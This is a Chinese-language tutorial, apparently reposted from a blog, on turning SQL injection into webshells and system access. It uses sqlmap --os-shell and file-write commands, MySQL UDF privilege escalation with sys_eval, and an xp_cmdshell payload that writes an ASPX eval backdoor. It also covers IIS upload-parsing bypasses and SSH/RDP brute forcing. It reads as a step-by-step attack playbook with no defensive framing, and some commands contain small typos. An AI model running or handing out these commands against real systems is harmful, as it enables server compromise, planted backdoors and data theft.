sqlmap注入獲取webshell及系統權限


滲透思路千萬條,只要有一條通往成功獲取webshell的道路即可,所以不必一定糾結於必須要使用sqlmap

一. sqlmap獲取webshell及提權常見命令

1. sqlmap常見獲取webshell的相關命令

(1) MSSQL判斷是否是DBA權限

--is-dba

(2) 數據庫交互模式shell

--sql-shell

(3) 操作系統交互命令

--os-cmd=net user 這里一般是Windows的DOS命令或者Linux的終端命令

(4) 文件讀取和寫入命令

--file-read=RFILE  從后台數據庫管理系統中讀取文件

--file-write=WFILE  編輯后端數據庫管理系統上的本地文件WFILE

--file-dest=DFILE  后端數據庫管理系統寫入文件的絕對路徑

(5) 數據庫權限提升

--priv-esc 數據庫進程用戶權限提升

(6) meterpreter提權(作者說實際測試並未成功過,可以當作一個思路來記錄)

--os-pwn  獲取一個OOB shell , meterpreter或者VNC

--os-smbrelay 一鍵獲取一個OOB shell ,meterpreter或者VNC

--os-bof 存儲過程緩沖區溢出利用

(7) 獲取數據庫root賬號密碼及其他賬號密碼,sa權限用戶獲取當前MSSQL下用戶密碼

--passwords 枚舉數據庫管理系統用戶密碼哈希值,程序會自動對密碼進行破解,破解不了會列出hash讓你自己破解

 

2. MySQL數據庫直接連接提權

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell

 

3. MySQL數據庫sql-shell下UDF提權

(1) 連接數據庫

sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell

(2) 查看版本

select @@version;

(3) 查看插件目錄

select @@plugin_dir;

(4) 操作sqlmap上傳lib_mysqludf_sys到MySQL插件目錄

sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\\phpstudy\\bin\\mysql\\lib\plugin\\lib_mysqludf_sys.dll

(5) 創建sys_exec函數

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(6) 創建sys_eval函數

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

(7) 執行命令

select sys_eval('ver');

select sys_eval('whoami');

select sys_eval('net user');

 

4. MSSQL直連數據庫

1. 安裝所需要的模塊

pip install pymssql

pip install pyodbc

apt-get install unixodbc -y

按照上述安裝,還是不成功,大家可以自己測試下,連接MSSQL數據庫Windows下好多好用的連接工具

 

二. 直連獲取shell(獲取webshell或shell條件)

sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

1. PHP+MySQL類型網站獲取webshell

(1) MySQL root賬號權限,即配置MySQL連接的賬號為root賬號,不是root賬號具備root權限也可

(2) GPC配置關閉,能使用單引號

(3) 有網站的絕對路徑,且具備可以在文件夾寫入文件的權限

(4) 沒有配置secure-file-priv屬性

 

2. MSSQL+ASP/ASP.net類型網站獲取webshell條件

(1) 數據庫用戶是sa

(2) 能夠創建xp_cmdshell

(3) 知道真實路徑

(4) 可以通過echo命令生成shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

 

三. 獲取webshell權限思路及命令

1. PHP類型網站獲取webshell權限思路

(1) 獲取os-shell

sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell

(2) 選擇4PHP類型的語言

(3) 物理路徑的選擇

普通路徑,指定路徑,指定字典文件進行暴力破解,暴力搜索地址

(4) 獲取webshell

在sqlmap中無法直接獲取webshell,如果--os-shell整個命令執行完成,就會上傳兩個文件,sqlmap會給你提示上傳的文件名,一個文件是后門文件,可以通過參數傳遞命令直接執行shell,另一個文件是文件上傳功能頁面,訪問這個頁面可以直接上傳文件

(5) PHP獲取webshell難點

在整個過程中獲取網站的真實物理路徑是最重要的,一般可以通過phpinfo函數,測試頁面,及報錯信息,搜素引擎,目錄爆破的方式來獲取網站的真實物理路徑,如果獲取到了管理員的賬號,能夠登錄后台,如果后台有一些探針功能或者是系統運行情況的頁面,那么也可以獲取真實的物理路徑,如果實在無法獲取那只能暴力猜解或者社工等其他方式。

 

2. 直接寫入webshell到網站

sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php

bmfx.php是攻擊者本地文件,shell.php是上傳到目標站點的文件名稱

 

3. os-shell下載文件執行

 

4. 通過sqlmap連接MySQL獲取shell

 

5. 賬號登錄管理后台,尋找上傳點

(1) 后台直接上傳webshell

(2) 抓包構建繞過防護上傳webshell

(3) IIS 6 畸形文件漏洞繞過,即上傳1.asp;jpg圖片一句話

(4) IIS 7 CGI解析漏洞,上傳webshell圖片文件,訪問http://www.xxx.com/1.jpg/1.php

(5) FCK文件兩次上傳獲取webshell

(6) 其他上傳漏洞獲取webshell

 

四. 獲取system權限思路

1. MSSQL和MySQL數據庫獲取system權限

(1) 生成系統信息

systeminfo > bmfx.txt

(2) 使用windows-exploit-suggester.py 檢查是否存在未打補丁的漏洞

(3) 找到漏洞對應exp直接提權

2. 直接獲取system權限

有些服務器是直接使用高權限啟動服務,可以通過sqlmap直接獲取系統權限

3. 社工提權

有些root/sa賬號對應的數據庫密碼就是系統Windows/Linux系統的管理員密碼

4. 密碼賬號暴力破解

通過前面獲取到系統准確的賬號信息,可以嘗試SSH/RDP賬號的暴力破解


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM